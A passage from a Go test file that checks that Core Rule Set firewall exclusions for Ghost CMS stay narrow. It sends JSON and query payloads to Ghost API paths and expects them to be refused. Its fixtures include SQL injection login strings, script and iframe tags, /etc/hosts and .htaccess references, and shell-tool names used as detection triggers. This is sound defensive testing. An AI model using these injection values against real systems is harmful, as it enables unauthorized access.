wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
|
}
|
|
}
|
|
|
|
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
|
// refuses label, sent as labels in a CSV import to target, or lets it
|
|
// through.
|
|
func wantGhostImportLabel(
|
|
t *testing.T, target, label string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
body := field("labels", label) + field("mapping[email]", "email") + end
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostImportLabelsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
|
}
|
|
|
|
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
|
|
|
for _, attack := range ghostAttacks {
|
|
wantGhostImportLabel(t, ghostImport, attack, true)
|
|
}
|
|
|
|
// labels keeps its rules on other paths, and when the query has a field
|
|
// of the same name.
|
|
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
|
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
|
}
|
|
|
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
|
// take no such field, and when the query has a field of the same name.
|
|
const (
|
|
title = `{"posts":[{"title":"python3"}]}`
|
|
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
|
name = `{"name":"python3"}`
|
|
email = `{"email":"python3.dev@example.com"}`
|
|
username = `{"username":"python3.dev@example.com"}`
|
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
|
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
|
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/posts/", title},
|
|
{"/ghost/api/content/posts/", title},
|
|
{ghostMember, title},
|
|
{ghostPosts + "?json.posts.0.title=x", title},
|
|
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
|
{ghostPosts, name},
|
|
{ghostMember + "?json.name=x", name},
|
|
{"/api/posts/", article},
|
|
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
|
{ghostPosts + "?json.posts.0.lexical=x", article},
|
|
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
|
{
|
|
ghostSettings + "?json.settings.0.value=x",
|
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
|
},
|
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
|
{ghostPosts, email},
|
|
{ghostMembers, email},
|
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
|
{
|
|
ghostMembers + "?json.members.0.email=x",
|
|
`{"members":[{"email":"python3.dev@example.com"}]}`,
|
|
},
|
|
{ghostMember + "?json.email=x", email},
|
|
{ghostPosts, username},
|
|
{ghostSession + "?json.username=x", username},
|
|
{ghostPosts, setupEmail},
|
|
{ghostSetup + "?json.setup.0.email=x", setupEmail},
|
|
{ghostPosts, passwordResetEmail},
|
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
|
{ghostPosts, userEmail},
|
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
|
{"/api/posts/1/", postURL},
|
|
{ghostMembers, postURL},
|
|
{ghostPage, postURL},
|
|
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
|
{ghostPost, pageURL},
|
|
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
|
{
|
|
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
|
|
`{"users":[{"profile_image":null}]}`,
|
|
},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"PUT %s %s let through: %+v",
|
|
refused.target,
|
|
refused.body,
|
|
got,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A <script> element keeps 941110 off the Admin API, in fields that do
|
|
// not take one, and when the query has a field of the same name. 941100
|
|
// and 941160 refuse each request too, so the test looks for 941110
|
|
// itself.
|
|
const (
|
|
script = `<script defer src=\"/script.js\"></script>`
|
|
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
|
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
|
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/ghost/api/content/posts/", scriptInPost},
|
|
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
|
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
|
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
|
{"/api/settings/", scriptInSettings},
|
|
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
|
{ghostPosts, scriptInTag},
|
|
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < ghostThreshold ||
|
|
!slices.Contains(got.RuleIDs, 941110) {
|
|
t.Errorf(
|
|
"PUT %s %s: %+v, want 941110 among them",
|
|
refused.target,
|
|
refused.body,
|
|
got,
|
|
)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The query fields keep their rules off Ghost's paths, and in other
|
|
// query fields there. search skips its rules only on the Admin API, and
|
|
// url only on the editor's lookup of embeds. pathname, email_segment,
|
|
// query and email skip theirs only on their own paths.
|
|
for _, target := range []string{
|
|
"/api/posts/?filter=powershell",
|
|
"/ghost/posts/?filter=powershell",
|
|
"/ghost/api/admin/posts/?order=powershell",
|
|
"/ghost/api/content/posts/?search=python3",
|
|
"/members/api/member/?search=python3",
|
|
"/ghost/api/admin/posts/?url=powershell",
|
|
"/oembed/?url=powershell",
|
|
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
|
"/ghost/api/admin/stats/top-content/?order=powershell",
|
|
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
|
"/ghost/api/admin/posts/?query=python3",
|
|
"/.ghost/activitypub/v1/actions/note?query=python3",
|
|
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
|
} {
|
|
wantGhostQuery(t, target, true)
|
|
}
|
|
}
|
|
|
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
|
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
|
// the others: each keeps its rules on another path, and when the query has
|
|
// a field of the same name.
|
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
bio = `{"users":[{"bio":"python3"}]}`
|
|
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
|
content = `{"content":"python3"}`
|
|
altText = `{"image":{"altText":"python3"}}`
|
|
accountBio = `{"bio":"python3"}`
|
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
|
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
|
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
|
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
|
domain = `{"domain":"python3.example.com"}`
|
|
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
|
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
|
)
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/api/users/1/", bio},
|
|
{ghostMember, bio},
|
|
{ghostUser + "?json.users.0.bio=x", bio},
|
|
{ghostPosts, comment},
|
|
{ghostComments + "?json.comments.0.html=x", comment},
|
|
{ghostAccount, content},
|
|
{ghostNote + "?json.content=x", content},
|
|
{ghostAccount, altText},
|
|
{ghostNote + "?json.image.altText=x", altText},
|
|
{ghostNote, accountBio},
|
|
{ghostAccount + "?json.bio=x", accountBio},
|
|
{ghostPosts, invited},
|
|
{ghostInvites + "?json.invites.0.email=x", invited},
|
|
{ghostInvites, accepted},
|
|
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
|
{ghostMigration, sourceHandle},
|
|
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
|
{ghostMigration, actorURI},
|
|
{ghostAliases + "?json.actorUri=x", actorURI},
|
|
{ghostAliases, targetHandle},
|
|
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
|
{ghostAccount, domain},
|
|
{ghostDomain + "?json.domain=x", domain},
|
|
{ghostPosts, tagCode},
|
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
|
{ghostPosts, tagURL},
|
|
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
|
refused.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Ghost's password fields, each sent to the path that takes it. A dot
|
|
// nests a field, as Ghost nests it in an array.
|
|
fields := []passwordFields{
|
|
{ghostSession, jsonBody, []string{passwordKey}},
|
|
{
|
|
"/ghost/api/admin/authentication/setup/",
|
|
jsonBody,
|
|
[]string{"setup.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
|
[]string{"invitation.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
|
[]string{
|
|
"password_reset.0.newPassword",
|
|
"password_reset.0.ne2Password",
|
|
},
|
|
},
|
|
{
|
|
"/ghost/api/admin/users/password/", jsonBody,
|
|
[]string{
|
|
"password.0.oldPassword", "password.0.newPassword",
|
|
"password.0.ne2Password",
|
|
},
|
|
},
|
|
}
|
|
|
|
wantPasswordFieldsPass(t, fields)
|
|
}
|